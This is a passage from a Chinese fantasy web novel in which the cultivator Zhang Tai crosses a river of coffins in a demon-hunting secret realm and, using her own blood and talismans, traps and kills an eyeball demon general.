“魔物一定会在桥上答题时动手,我这边还确定了第五桥同样是生路,为了将伤害程度规避到最小,我和志杰、梓丽引诱魔物上第四桥,等到时候我们开始行动了,大家先摆出要登上第四桥的架势,但不要真上了,等尔雅也就是法衣是大红色,背着把大砍刀的那位,动身前往第五桥时,你们也纷纷往第五桥上赶,到时候第五桥,就由尔雅,你们的郑副队带队。”
这番传音过后,赤云宫当即不少弟子颇为激动,嘴唇翕动纷纷往魏敏贞那边传音。
魏敏贞很快做出安抚,“大家不必忧心我的安全,正是因为分开了,相比于大家都在一起,我才更加安全,只有三位修士在桥上,魔物则更加不敢轻举妄动,还生怕哪一步不得不用到我们修士,反而要保护我们的安全。”
“更不会在答题时胡作非为,毕竟把我们三个人全弄死都只能撑六息,六息太短,应对变数压根不够,且就为了这六息弄死三个修士是绝对的不划算,还不如老老实实过掉这一关卡。”
“至于梓丽是建阵破阵解谜的个中高手,你们担心她过来我这边,那边答题会失误,不用太担心,这一关卡设置的重心在于修士和魔物之间的博弈,题目应该不会很难,第四桥的生路是梓丽当众发现的,她若在上第四桥的前列对魔物的吸引也更大。”
事实证明,敏贞的预设,至少在他们这边是成立的。
张苔在后方管束着五位魔卒,看着一题又一题被解决,就算有比较棘手的题目,将在场十四位修士问一圈,总会在某位的所知范围内。
直到抵达桥末,从桥上彻底走出,来到另一端山崖,张苔都觉得有点不真实,这一关感觉真的顺利的太不可思议了。
视线又瞟向不属于他们走出的两座桥,就希望魏敏贞那边也如她预设的那么顺利吧。
然后她就开始坐下打坐,这抗魔秘境到底是顶层世家打造的场域,其内的灵气也是过分的充裕。
据郑尔雅所说,过桥后的这一端山崖暂时没出现传送区域,是因为活着的人还没到齐,干等着也是干等,不如抓紧时间修炼。
迷迷糊糊之间,她听见郑尔雅在大声招呼,“传送媒介出现了,大家快点进去,魏师姐他们也快抵达这边了,那几个魔将先前吃了暗亏,在桥上不好发作,或者最后几题发作也没得手,到了这边肯定会大动干戈!”
张苔一个激灵,瞬间从修炼状态中撤出。
在场不少修士对郑尔雅的话深信不疑,纷纷往传送旋涡那边赶。
不仅仅是修士,低阶魔物们也宁肯信其有,不想遭池鱼之殃,也往传送旋涡那边挤。
等张苔接近传送旋涡时,在场也没多少修士了,并且她也听到了清晰的交手打斗声,以及感知到空气中的气劲波动。
不敢犹疑,她一头扎入旋涡之中。
14. 秘境(三)
当传送的窒息感达到顶峰时,压力骤然消失,张苔踉跄着向前扑去,膝盖重重磕在潮湿的砂石地上。她急促喘息着,发现吸入的空气带着浓重的腐木气息。
抬眸一看,眼前是条往两端望去不见边际的暗河,河水浓黑如砚,表面浮着一层泛绿的磷火。数以千计的棺椁在河面沉浮,棺盖半开。
有几具棺椁正被绕着它的锈迹斑斑的铁链拖向岸边,张苔又细细将整个环境打量一番,没看到规则。
鉴于这次传送到这个区域的修士和魔物格外之少,可以看出,这一轮,大家被分散了,而规则之所以没出来,估计是他们这边还没到齐。
现场修士只有她这一位,另外传送过来的魔物分布是一位魔卫,四位魔使,九位魔卒。
就是不知道未到齐的还有多少,是魔物还是修士。
尽管张苔心底期望再传送个修士过来,但理智上知道可能性是比较低的,她个人感觉这一轮就是按照修士来进行分隔的,一个区域的搭配就是一位修士和十几位高等魔物。
又感知了一下周身,发现身法步法御剑等一切跟跨越距离有关的方式又被限制了,又瞟了瞟眼前的长河,以及河上唯一可落脚的棺椁,张苔对这一轮的形式有了略微的猜测。
没等多久,现场揭晓了此次同行人员魔员的结果,的确如她所猜测,传送过来的是一位魔物,还是此次前来魔物中实力顶级的那一批中的一位,即眼球魔将。
张苔顿时惊的往棺椁的方向又靠了靠,深怕对方还残存上一轮的积怨,要给自己一番颜色瞧瞧,这样的话,她就只能往棺椁中跳,看能不能拼变数求一线生机了。
她就是个穷鬼修士,身上没有任何灵丹妙药,也没有任何针对魔物的强悍法器,如果瘫痪着被带到终点,出去后避免不了死在附身魔物的吞元之下,这样的话,还不如去那诡异的棺椁中拼一把。
半晌过后,对方没有动作,张苔也看不出对方有什么情绪以及要动武的意思,这才没那么紧绷。
她不知道的是,眼球魔将从头至尾压根就没想对她这位修士如何,或者说,不曾将她放在眼里。
眼球魔将自进入抗魔秘境一开始的茫然,在回忆起有关抗魔秘境的机制之后,就完全不怎么在意,认为无非就是这群蝼蚁修士的垂死挣扎,延长死期罢了。
祂有足够自信自己能通过抗魔秘境,出了秘境再进行吞元也是一样的。
玄袍魔将的那些作为在祂看来极为降档次,都身为魔将了,哪怕这群金丹修士在全盛状态,祂们身为魔将,还没有信心成功吞元?除非是能力不行,不然怎么还非得将人折腾残了,才敢吞元?
要么就是抗诱惑力不强,如果把修士比喻成一道菜,祂们自有很多手段能够“品尝”修士,但只有吞元,才能让菜的很多营养得到充分吸收,为祂们所用。
先行采用另外的方式分割掉食物一部分,不是担忧自己无法吞下,就是按捺不住提前满足自己。
眼球魔将的心理状态不提,现场中传送完这一位后,河水开始翻涌,将那几具本就离河岸很近的棺椁彻底推至靠岸,整条河目之所及的棺椁上缠绕着的铁链飞至半空,充作笔画,扭曲成一个个文字。
“第三轮·分场·棺椁河
规一:此轮参与者需踏棺过河,唯有合上的棺椁才能站立,棺椁中有一位参与者才能被合上。
规二:棺椁之中的参与者,生死各半。
规三:棺椁之上,最多停留十息,十息之后,若未选定棺椁进入一位参与者,则站立的棺椁周围随机一棺椁,随机抽取一参与者入棺。”
所有的规则看完,现场不少魔物当即看向眼球魔将,实力为尊,祂们魔物先前也是一直隐隐以三位魔将的意思为首。
眼球魔将让现场唯一的那位魔卫剥离出一只低等魔物到靠岸一个棺椁中。
这番举动,倒是让张苔想起了,在上一轮时,这位也曾让过一位魔卫,分割出一只低等魔物去试探桥与桥之间的雾气,结果当然是有去无回。
此轮有着泛绿磷火的暗河约莫就是上一轮中类似雾气的那种存在,所幸棺椁足够大,合上之后让在场修士和魔物都站上去不成问题,不存在说不够站会被挤下去的问题。
张苔这番心念电转间,那边魔卫剥离出的低等魔物试探也出了结果,当低等魔物在棺椁中,其余魔物怎么推棺盖也合不上,她也去尝试了一下,同样不行。
魔卫收回低等魔物,状态恢复了些。
跟每隔一段时间,魔物自动剥离的低等魔物不同,高等魔物主动分割出的低等魔物,是高等魔物自身实力的一部分,且剥离的低等魔物是完全听从于对应的高等魔物的,也可以被收回。
被动剥离出的也能收回,但高等魔物往往不想收回,因为那些剥离出去的低等魔物,聚集着祂的负面状态。
魔卫虽然生理状态上恢复了些,但从神情上看不出丝毫好转,看得出祂宁肯剥离出去的这只低等魔物有去无回。
下一刻事情的发展证明该魔卫的如此表现不是毫无缘由。
眼球魔将突然发难,打出一道魔气精准将魔卫震入棺椁之中,又迅速合棺。
“看来这个秘境的布置者很严格,不能蒙混过关,那对不住,只好让你亲自进去了。”
整个操作快准狠,张苔和其余众魔都尚未反应过来。
眼球魔将不将修士放在眼里,这些比自己废的同类更没当一回事了。
对于以上两种存在的目光祂丝毫不顾及,自顾自地踏上了合起来的棺椁。
然后指着张苔,用平静的理所当然的语气道,“她不算,其余最后一个上来的,就用来填下一口棺椁。”
这话一出,在场其余魔物顾不上想别的,纷纷动作迅捷的往棺椁上跳。
张苔懵了懵,大家都上了,她也不能不上,不过她还真是最后一个上棺椁的。
当她一上去,半空中的铁链挪动,开始变为记载倒计时。
张苔又看向眼球魔将,前边那些魔物好像抵达棺椁上的时间极其接近,差别细微到她完全看不出,下一位不知眼球魔将会选谁。
这个念头刚从脑海中闪过,就看见眼球魔将随意从身边拎起一位魔物,往前方扔去。
“为什么?大人我明明不是最后一个上来的啊!”
这只魔物像抛物线一样被甩出,喊出的声音也被气劲带得有些含混。
张苔凝神细看了看,眼球魔将扔的位置,大约间隔了前方两口棺椁,不过作为修士和魔物,身手矫捷,跨越到那个位置,也不是做不到。
然而秘境可不愿让祂们如此轻易过关,这条河虽长,但宽度有限,如若按照垂直河岸的方向行进,也就十四十五口棺椁的距离,
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乘上百分之五十的死亡率,在此埋葬七只魔物左右。
相比于第一轮直接将所有低等魔物赶尽杀绝,这个数字其实已经格外温和。
眼球魔将却连七只魔物都不打算给秘境,秘境自是不肯,空中魔物从前边那口棺椁飞过的时候,半空中多余的未在计时的铁链,当即一甩,将那位魔物的抛物线硬生生截住,变为另一段抛物线,终点稳稳落入他们正前方那口棺椁。
力道明摆着也不轻,那魔物又是一声惨叫,只是棺椁变得不再笨拙,不用后方的他们谁动用灵力魔力去推,自动合上,将那声惨叫隔断了。
相比于张苔还能勉强置身事外,另外好些魔物见此,都瑟缩了一下。
眼球魔将实力超群,自然也感知到了,祂知晓不能做得太过,还是找补了一句道,“你们的反应和速度都差不多,上一轮我无法进行辨别,就算选出是谁,肯定也不服,所以我迅速选定了离我最近的一位。”
“下一次,我仍然会选离我最近的,这个距离你们把握好,现在可不是在岸边了,一味离我远,可是会掉入河里的,棺椁中好歹还有半数生还率,河里就不好说。”
轻飘飘丢下这些话,祂脚步轻踏,跃至前方合上的那口棺椁上。
其余魔物也纷纷迅速动作,想要抢占距离魔将较远的位置。
和眼球魔将相差两三个大境界,只要能确保自己还有活的希望,祂们也不会奋起反抗。
又前进了一口棺材的距离,最后的张苔落在以眼球魔将为中心,环绕一大片区域都空置着的地方。
这一次眼球魔将倒是说话算话,周身升起的魔气就要朝,因为晚了那么一步,选定的位置被抢占,而被挤出一大段距离因此最为靠近魔将的那位魔卒缠绕而去。
那位魔卒满脸绝望,像是窥见了自己惨淡的命运。
就在魔卒要被魔气卷起的刹那,张苔神识一紧,下意识凝聚护体灵气罩,
灵气罩成型的刹那,一声巨响,狂暴的魔气如巨浪拍岸,狠狠撞击在灵气罩之上。
张苔暗道糟糕,当初眼球魔将的位置就是在棺椁靠左前端,她也就随意选择了一个在魔将右侧的位置,同样靠近棺椁边缘,回头往下一看就是流动的墨色泛绿河水.
沛然巨力不住把她往棺椁之外推,尽管她使劲稳住身形,然而成效并不大,没多久,她就会退无可退直接跌下暗河。
“棺椁中好歹还有半数生还率,河里就不好说。”
这时候,先前眼球魔将那句话又不期然在耳边回响。
比起棺椁之中,她个人也确实不想跌入暗河,于是她索性撤了固定身形的力道,飞出棺椁之外。
又向下打出一道灵力,借助反冲力,助力将自己推高推远。
反正就算过了棺椁的距离,头顶那铁链也会将你送回,若是力度不够你抵达飞出方向最近的棺椁,那就真的跌入暗河凶多吉少了。
故而她那道灵力震出的气劲是格外的大,本着宁愿被铁链抽也不愿冒半点抵达不了这个方向最近棺椁的风险。
终于当在正下方看见掠过的棺椁,她松了一口气,又赶紧再度凝聚灵气罩。
“砰”
沉闷的击打声过后,她先是眼前一花,很快后背又传来撞击声,再接着,视野就彻底黑暗下来。
此时应当,就是在棺椁之内了吧。
15. 秘境(四)
花开两朵,各表一枝。
在张苔进入棺椁之中的同时,另一边,眼球魔将已将突然对准她发难的那位给制服。
原是最开始被扔进靠河岸边棺椁的那位魔卫,实力也就金丹中期左右,与相比了一个大境界的眼球魔将而言,自是不够看。
“既然出来了,为何无故在此动手?”
眼球魔将睨着在祂手下被死死压着的魔物,眼中带着好似上位者的不耐,以及生杀予夺的压迫。
不少魔使魔卒在这种威吓下,一边战战兢兢一边腹诽,这眼球魔将还好意思问,无故将人直接丢棺椁里,是个长脑子有情感的就不忿好吗?
魔卫冷汗直冒,绞尽脑汁想着说辞。
祂动手,自是有着满腔的不甘痛恨怨愤,彼时在黑暗的棺椁中,天知道祂有多么的惊慌恐惧,以及对魔将毫无缘由让他试水送死的极度仇恨。
故而当传送的阵法出现,并说明会传送到其余参与者所在棺椁之上时,祂处心积虑只想如何报复眼球魔将。
但一个大境界无疑就是一个天堑,祂不是眼球魔将的对手。
于是祂将主意打到秘境机制上,之前那一轮,桥上能够进行答题的只有修士,难保这一轮进入下一轮,也存在只有修士才能实现的情况。
哪怕自己也要滞留在此处,与那该死的魔将同归于尽,或者那魔将恼羞成怒将祂虐杀,祂也情愿!
情绪一上头,也就以为自己视死如归,祂积蓄着力量踏入传送阵,看准在场的唯一修士,就想将人给送到河里给弄死。
只是没想到那位修士足够果决,找到法子,争取到一半的生存率。
而祂自己,当真正面临死亡,远没有愤怒之时以为的淡然。
“只是觉得不公平罢了,凭什么作为修士,就可以丝毫不冒险,全程就等着我们为她铺平一条康庄大道。”
最终,头顶厚重的压力,祂嘴角僵硬地蹦出这么一句话。
然而头顶的压迫感仍旧没有减弱分毫,魔卫咬咬牙,当即下跪磕了几个响头,“我已知错,修士对大人有着重要作用,我不该肆意妄为,求大人高抬贵手,饶我一命。”
眼球魔将收了威压,放开对魔卫的挟制,魔卫心下微松,和在场其余魔物一样有些不敢置信,如此忤逆行事,眼球魔将竟然没有直接杀了祂。
事实上眼球魔将并非不知道此魔卫之前心中绝对有不利于自己的打算,对方不交代也没什么,更不会去深究,祂只要一个态度,以及在他看来,取走一条性命太过轻易,不如让其死的有所价值。
“本来我们已经定下规矩,每一次抵达棺椁上离我最近的那位,负责进入下一次的棺椁。”
“但犯错就要有相应的措施来弥补,下一口棺椁,就你进去吧,倘若这次还能够出来,就仍旧和大家一样,按照这条规矩来。倒是可惜了那修士进入的棺椁跟我们前进的方向不同,往那边反而距离更远,白白浪费一次进入棺椁的次数。”
最后一句魔卫完全没入耳,当听到让祂作为下一位进入棺椁的魔选,祂头脑嗡的一下一片空白,祂就知道眼球魔将就算不杀自己也不会轻轻揭过。
祂嘴角扯出一摸苦笑,现下祂有拒绝的权利吗?
恐怕祂的不愿意,在对方看来还是“不知错”,既然不知错,那就让祂直接去死好了。
好歹再进一次棺椁,仍旧有活着的机会。
*
张苔确认进入棺椁之后,自然不会坐以待毙,她想着,万一那百分之五十的生还概率,也是通过棺椁中的线索找出来的呢?
指尖摩挲,默念萤火诀的口诀。
伴随着体内细微灵力的流动,霎时,一团橘黄色的暖光自掌心浮起,驱散附近的一片黑暗,周围的环境亮堂清晰起来。
这棺椁内部还是挺大的,张苔粗略扫了一下四周,她已然将萤火诀的照明范围扩至最大,但还是不能将整个棺椁之内覆盖。
棺椁之内也很空旷——还好是空旷的,坦诚而言,张苔胆子还挺小的,不然在她刚进来的时候就挤挨碰到什么触感不明的东西,她鸡皮疙瘩能起一身。
既然棺椁之内什么都没有,就只能从打造棺椁的六面不知什么材质的东西上仔细瞧瞧了。
全是密密麻麻的看不懂的纹路。
张苔不信邪也是没办法了,这一段纹路看不懂就下一处,下一处区域的纹路还是看不懂就下下处。
就这么找着,还别说,当她躬着身子,捧着光团,往底面一处照着的时候,有一段纹路,还真有些许熟悉,跟不少的镇魔符、镇魔阵盘、镇魔法器上的一些纹路挺像的。
找到熟悉的纹路之后,她顿住,这又有什么用呢?她的目的是出去,其实无论她认不认识这些纹路,都要尝试去启动。
于是她也不接着继续瞧那些纹路,直接往类似镇魔效用的纹路中输入灵力,就算真的激活了,这也是镇魔诛魔所用,她又不是魔,也不必担忧。
半盏茶时间过去,整个空间中没有任何变化发生。
张苔困惑,难道在这棺椁中,灵力没有用,那它需要什么?
很快她又想到上一轮悬命桥修士的半数骨和血可以暂时稳定住坍塌的桥身。
在胳膊上迅速划开一条口子,让血迹滴落到纹路之上。
半数骨血是不可能给的,但先用点血试一下。
令她心喜的是,这次几乎是眨眼之间,就有变故发生。
她首先是感知到整个环境貌似亮堂了些,之前光团照不到的那些区域不再那么漆黑。
后来发现是头顶上的棺盖在一点点消融。
她当即灵力化刀,又快速在胳膊上割开一条口子。
随着血量加大,棺盖彻底消失,抬头便能看到天空,甚至是还在移动扭曲着的铁链,整个棺椁之中就连边角都亮堂起来。
抓了一把便宜的,最基础的疗伤用的一品丹药益气丹吞下,简单调息之后,张苔站起想要出棺椁。
“哎呦。”
伴随清脆的一声撞向,张苔后脑勺一痛,又被迫不得不坐下。
怎么回事,头顶那棺盖怎么还在?
细细辨认之后,张苔明了,原来那棺盖只是虚化透明了,并非彻底消失了。
看样子想要出去不是那么容易。
张苔垂眸,抚上已经恢复如初的光洁胳膊,准备凝神复盘思索,目光就落在之前吸食了自己血液的那片纹路上。
其中有些纹路貌似比周围的纹路颜色要深一些,带了一点淡红。
出了熟悉的镇魔纹路,仍旧有些纹路同这片镇魔纹路一样,有的纹路比周围纹路颜色深一些
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而且这些颜色深一些的纹路,貌似之间没有间断,是连通的?
沿着这线淡红,张苔慢慢挪动着,最终抵达了棺盖的一角。
上边终于出现了与整个棺椁内壁格格不入的东西——文字。
不过张苔的神色称不上好看,文字是血红色,如果没猜错的话,这文字就是她鲜血凝成的。
这好好的一个抗魔秘境,怎么净设计些需要修士血啊肉啊骨啊的步骤,不知道的还以为是误入了什么邪术传承。
在心底吐槽过后,张苔细看起这段文字来。
“规四:棺椁内规则
修士鲜血可激活棺椁内诛魔阵法,倘若和修士一同进入棺椁之内的还有魔物,魔王及魔王以下魔物必死无疑,诛灭魔物同时,修士被传送离开。
修士鲜血可激活棺盖阵法,此时棺盖如滚动但不散的细沙,修士可采取措施诸如利用灵力等将棺椁之上的魔物带下来,之后棺椁内诛魔阵法诛魔,修士被传送离开。
修士首次激活棺椁阵法,发现潜藏规则,将百分百获得生还机会,血字消失半盏茶时间后,修士被传送至多数其余参与者所在区域。”
就在张苔将全部规则四内容看完后,血字开始变得暗淡,一息之后,就尽数消失。
同时张苔也是心中大定,现在只要等上一会儿,就可以出去了。
当时她看完前两条的时候简直要急上火了,自己到哪里给这棺椁弄魔物去,好在最后一条的内容显示放了她一条生路。
一念天堂,一念地狱,死去活来,约莫就是这种感受了。
*
张苔被传送出去的时候,看到不少魔物眼里闪过震惊,但也没迎来热情的问候。
整个棺椁上的氛围古古怪怪的,云淡风轻的眼球魔将和一群绝望不忿的魔物仿佛不在一个图层。
将整体环境打量过一遍,他们整支参与者队伍已经在河面上行进过大半,脚下正是垂直河岸方向的第八口棺椁。
第九口棺椁中也已经有魔物,她传送过来,眼球魔将只是扫了她一眼,然后就跳到第九口棺椁上方。
接着便是疯狂地冲刺往第九口棺材的魔群。
搞得就算张苔摒弃她作为修士,人魔殊途,对待魔物就要像对待秋风扫落叶一样无情的态度,想要友好地拉过一位魔物来进行交流都不行。
虽然不明白自己在棺椁之中,期间发生的一些事情,以及自己先前被突兀攻击的事情始末,但至少目前,这些魔物不会伤害她,不会强迫她进入棺椁之中,所以张苔也没有那么惊慌。
但该有的警惕一分都不少,免得和之前一样,太过疏忽,遭到暗算,不得不进入棺椁之中。
张苔看着一位位高等魔物很快将前方棺椁的一些位置站定,还是和上回一样,眼球魔将附近的位置空出大片。
她不紧不慢挑中认为的一个稳妥位置,刚准备蓄力,一道声音拦下了她。
“道友,请留步。”
张苔惊讶,居然还有位魔物不急着赶紧前去抢占位置,落到了和自己差不多要同步的境地?
神识率先传来对方的身份信息,居然是第一轮蚀雨天中,得到撑起屏障木牌的那位魔卒,看气息,实力特别低微,像是刚引气入体不久便成为魔物,且再无进行过吞元进阶。
16. 秘境(五)
从这位炼气一层魔卒的话中,张苔了解到先前是谁突然对自己动手,以及那位幸运不再眷顾那位魔卫,祂终究还是死在了第三口棺椁之中。
“祂们一定比较惊讶你的出现,因为都以为你死了,按照规律,还活着的话就会在间隔一个棺椁后回来,就像第一口棺椁生还的参与者在第三口棺椁回归并对你发起攻击,你不在第五口棺材处出现,祂们就默认知晓了最终结果。”
“先前的具体情况大致是这条线上的第一、四、六的棺椁中的参与者在三、六、八回归,二、三、五阵亡,七的参与者结果如何,将在我俩踏上第九口棺椁揭晓。”
“我个人,正是进入第六口棺椁的参与者。据其余魔物所说,魔将大人自我那口棺材之后,对待下一轮的魔选越发潦草了,不再有耐心衡量计算哪个是距离最近的,只要不在远离祂那一侧的棺椁最外层,都有可能被挑中。我喊住你,主要是想与你进行一笔交易。”
这很稀奇。
师长的训诫、书册的描述、人族的共识......从出生开始,所有获得的信息都告诉她,魔物是嗜血的、狡诈的、虚伪的,魔物的一切目的都是为吞元修士凡人的灵力生机,魔物不可信,“见弱即杀,遇强则逃”是处理魔物的准则。
她也始终是这么做的,而今却有一只非常非常弱小的魔物,提出要与她进行交易。
新奇的人生体验,张苔表示愿闻其详。
那边眼球魔将却有些按捺不住了,头顶的眼珠暴凸,其上有紫色电光闪烁。
“还在那边磨蹭什么?赶紧过来!”
可能是隔着一定距离以及有着棺椁作用,那边的压迫感丝毫没传递到这边来。
于是张苔丝毫没被威慑到。
“魔将大人,我们一过去,就要开始计时,就没有魔也没有时间跟我讲讲这一轮的棺椁怎么回事,以及之前到底发生了什么,有凶手要杀我,我总得搞清楚个子丑寅卯吧。”
“所以还是劳烦魔将大人再等等。”
魔物因日常时不时对生元感到焦渴,又受限不能立即获得而遭到折磨,脾气大多不好。
炼气一层魔卒深知那眼球魔将也是如此,耐心不多,于是示意张苔用上隔音结界后直接进行信息轰炸。
祂道,“我知道你有干掉前方魔将的方法,你不用否认,这是我的神通告诉我的,且我的神通还告诉我,这么做,对你下一轮关卡也有极大的益处。”
“如若你愿意动手,我用第一轮我得到的那个法器跟你进行交换,我看你也拿到了形成抵御屏障的物件,所以你应该也知道那物件在第一轮最后,变为了一件仙器。”
“这笔交易完成后,有什么我们后续还可以再说。”
这些消息又密集,内容含量又丰富复杂。
加之交易的时限还紧迫,容不得她仔细斟酌思考。
值此关头,张苔索□□给直觉——她觉得,可以一试。
之后回想起这件事的时候,也考虑过这一直觉让她答应一试的缘由。
说到底,炼气一层的魔卒很是少见,修为越高,被实力低于自己的魔物吞元后死亡的概率越小,沦为魔物的概率也在减少,凡人一旦被魔物吞元,必死无疑,而刚引气入体不久的炼气一层修士,那点修为聊胜于无,能够活下来魔化为魔物的也很罕见。
所以至少,眼前这人呢,气运是极其不错。
之前第一轮能够成为第一个拿到支撑起屏障物件的魔物,更是证明了对方的运气。
更何况都成为魔物了,魔物不能再吸纳灵气进行修炼,进阶靠掠夺修士凡人生机本源和灵力,炼气一层的魔物要升级也就吞元一些凡人的事,但对面这个魔卒,仍旧是炼气一层,且气息纯净,不像是施展过吞元邪功的样子。
眼下,张苔依靠直觉迅速给出肯定答复后,又道,“小友,不如交换个称呼?之后咱们再交流的时候,我也好找你。我姓张,弓长张,单名一个苔,苔花的苔,你找我可以直接喊我名字。”
魔卒向张苔进行道谢,“空口无凭,后续事实自会证明这笔交易你做的划算,至于称呼,在下免贵姓禹,名康平。”
*
跪坐在第十口棺椁内部,张苔紧张地看向上方。
先前抵达第九口棺材的时候,没有别的选择,炼气一层魔卒禹康平只能在相比于其余魔物离眼球魔将最近的位置。
眼球魔将宣告祂作为进入下一口棺椁的人选。
这人也很老实,不用魔将动手,主动自觉准备往第十口棺椁那跳,不过被她制止了。
然后以“小禹是因为被我拦下问话才落到最后的,祂去棺椁的分派,我顶替了。”的说辞表达她来第十口棺椁的意愿。
本以为眼球魔将会过问一二,抑或有所横加阻拦,她连有关“修士在棺椁中被区别对待,注定不会身死”的论点以及相应的佐证理由都准备好了。
谁想眼球魔将还真应允了,让开一步,给了张苔一个“请自便”的眼神。
对方这么云淡风轻,张苔心中越发没底。
但箭在弦上不得不发,事已至此,无论如何她都要尝试将眼球魔将给拉下来的!
眼球魔将一如既往率先跳到棺椁之上。
对方还没完全落到棺椁之上,张苔结印完成,灵力催生的三根极为粗壮藤蔓穿过虚化棺盖,宛如灵活的蟒蛇,直奔眼球魔将缠绕而去。
眼球魔将头顶眼球中的眼珠转动,注视到下方奔来的藤蔓,三根木桶粗的藤蔓直接爆裂开来。
张苔嘴角溢出几丝鲜血,不愧是魔将,果然没那么容易。
咬碎嘴里事先备好的爆灵丹,狂暴的灵力瞬间在体内炸开,她的经脉如被烈火灼烧,丹田内的灵力疯狂暴涨,双手猛地往棺椁底部一拍,无数褐黄根须沾着泥土从棺底生长而出。
此时眼球魔将已彻底脚踏棺椁之上,附近不少根须很顺利缠绞而上眼球魔将的脚踝,死死往下拖拽,且成功将魔将带下来一段距离。
眼球魔将头顶的眼珠迸射出的雷电炸一根,很快又长出一根,炸一片又迅速蔓延一片,呈无穷无尽态势。
“有点意思,但也不过如此。”
冷笑一声,眼球魔将指尖一线黑光射向脚下根须,这次的滋滋声响过后,就是以肉眼可见速度干枯腐朽的根须。
根须冒出多少,迅速枯黑多少。
那线黑光竟如百草枯一般,根须的生长速度完全不及枯萎速度,空耗张苔灵力罢了,反观已从棺盖中抽出双脚的眼球魔将,像是得到了滋养,状态还好上几分。
无奈,张苔只得再度改换手段。
......
第十口棺椁在激烈交战,第九口棺椁上的其余高等魔物,自然也不会傻到现在赶去第十口棺椁。
光是隔着那么一段距离,就可以看出棺椁中修士的难缠,可以断言,此刻无论是谁往第十口棺椁而去,下一刻眼球魔将就会把你扔往第十一口棺椁,尝试看能不能脱离第十口棺椁。
就算眼球魔将愿意放你一码,在场也只剩魔使魔卒,和棺椁中的修士也是至少差了一个大境界,那修士也保不住不会放过你呐。
于是第九口棺椁上的祂们,就隔岸观火起来。
其实这正是张苔先前所谋求的结果。
关于动手的时机,张苔本来率先考虑的是,在魔将选定的魔物扔往下一个棺椁时再动手,这个节点,眼球魔将总归要分些心神,她得手的概率也大些,同时还能够拉另外一位魔使做保底,至少不会死在棺椁之内。
万一眼球魔将没弄死,出去之后的变故也完全可以解释为自己为出棺椁所做无心之举引发的后果,眼球魔将顾及后续阶段会有用到自己的地方,也不会杀了自己。
这是一个很稳妥的办法,并在稳妥的基础上尽力谋求利用棺椁内的诛魔阵将魔将杀死。
但大前提是稳妥,再是诛杀,连她自己都觉着,这样能够将眼球魔将带下来的概率不大,这个时机确实能够保证自己不死在棺椁之内,可出去之后真的绝对能保证眼球魔将一定不会杀了自己吗?
她怕死,但更怕像那个医修一样,被吸干修为、苍老等死,或者最后连神魂都成为魔物的资粮。那比干脆利落的死亡更让她恐惧。眼前虽险,却有一线掌控自己命运的机会;妥协苟活,则将命运彻底交予魔物之手。
两害相权,所以她选择了死在棺椁内风险大一些的,在眼球魔将即将落到棺椁上,这一时机动手。
这样会阻止第九口棺椁魔物到
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来,也就阻断了自己无法把魔将带下来后自己的生路,且棺椁内阵法激活后能维持多久,拖延多久,让那有百分之五十死亡概率的机制晚多久降临,这些她都不知道。
但为了干掉这个魔将,她宁愿赌一把!
赌这个抗魔秘境为了诛魔,棺椁内阵法激活后只要整个第三轮没有结束,那个半数生还的规则就要延后。
此种情况之下,虽然断掉了无其余魔物给自己保底的路,但同样也断掉了眼球魔将想要继续前行的路,以及后退的路,按照规则踏上已有参与者在内而合上的棺椁,就不能后退,只能等上一口棺椁上的参与者全部走光,再继续选进入下一口棺椁的参与者,这个期间,不能前进也不能折返。
一段时间内,眼球魔将只能跟她在第十口棺椁上硬耗。
目前可以说,张苔以上谋划基本上实现了,但一个大境界之差就是一个境界之差,张苔已经和棺椁上的眼球魔将交手好几轮,然而每次都是铩羽而归,她始终无法将眼球魔将带下来。
可以说,张苔早就黔驴技穷,此刻不过随意用些术法在拖住耗着上边的眼球魔将罢了,补灵丹都磕掉不少,来不及调息,很多药效都没彻底激发出来。
她焦急得额头上渗出细密的汗珠,耳边自己急促的呼吸声不断。
因为她知道,自己这么脱不了多久,保不准下一刻眼球魔将就想出什么法子脱出自己设下的困局,而她也就彻底没机会剿灭对方了。
快想,快想,到底有什么办法,能让眼球魔将顺利被自己带下来,哪怕对方能够暂时失去行动力,迟滞那么一会儿,不要对自己见招拆招那么迅速,自己就能成功了。
“还不速速停止反抗,出来后还能饶你一命,如若还这般顽冥不灵,吾将让你永远葬身在此轮秘境!”
面对头顶上传来的威胁,张苔的回应是再度不走心地凝聚灵力往棺椁之上甩出一个术法,连抬头的力气都欠奉。
还能威胁放狠话,看来对方暂时还没想到应对这一局面的处理办法,可局面光这么僵着也没用,拖的时间越长,对自己就越不利。
目光瞥到那片镇魔纹路。
她忽而有了个念想,她不是符箓师,不知道哪个操作行不行。
眼下也只能死马当作活马医了。
一边扔着术法,一边用咬牙在手腕上割出一个碗大的伤口。
鲜血瞬间汩汩流出,染红了整片镇魔纹路区域。
忍着疼痛,张苔从储物法器中拿出几张空白符纸,对准凸起的染血符文。
很快,有着镇魔纹路的符纸成型,感知到隐隐的厚重肃杀气息,张苔加重了孤注一掷的心思。
将体内残存灵力尽数灌注其中,血色符文如活过来般在流淌。
"封!"
张苔掐诀厉喝,几张浸透鲜血的符纸在空中划过暗红轨迹。
“又是什么雕虫小技。”
眼球魔将冷哼一声,不以为意地打出一道黑雾。
血符撞上黑雾,纹路中迸发刺目金芒,眼球魔将面上的震惊一闪而过,庞大身躯猛地后仰。
然而晚了,那些被张苔鲜血浸染过的纹路如同活物,顺着光芒迅速爬上祂全身,犹如烙上,眼球魔将如何都无法抹去挣脱。
而这边张苔也好不到哪去,她正在疯狂嗑药,然而怎么都不够,经脉丹田中的那颗金丹犹如刀锋刮擦般抽痛,灵力浮现一点就被抽离一点。
嘶嘶的灼烧声伴随眼球魔将的惨叫,唤回张苔一些注意力,那些血色纹路已然将眼球魔将捆成一个蚕茧,蚕茧蠕动着,拌和灼烧惨叫声升腾起阵阵白烟。
事不宜迟,将所有补灵丹能吞的吞,不能吞的直接震碎。
好在她调用的及时,暴涨的灵力这会总算有了那么些没能被完全抽走,几根细弱藤蔓缠上蚕茧,往下拖拽。
“你给我下来!”
张苔发狠,一边咬着后槽牙忍痛挤压丹田,一边奋力催动藤蔓下死劲拖拽。
这一次,终归让她如愿以偿将蚕茧状的眼球魔将给带了下来。
紧接着,本就头昏眼花的张苔,只觉眼前一黑,视野再度清晰之时,已处于漂浮在滔滔暗河的棺椁之上。
而掌心之中,也凭空多出一物。
17. 秘境(六)
尽管疲惫至极,但张苔感知到周身那一圈的魔使魔卒,深知自己不能倒下。
将掌心的物件投入储物法器之中,约莫是此轮发放的奖励,但此刻她没有精力也没有时间去查看。
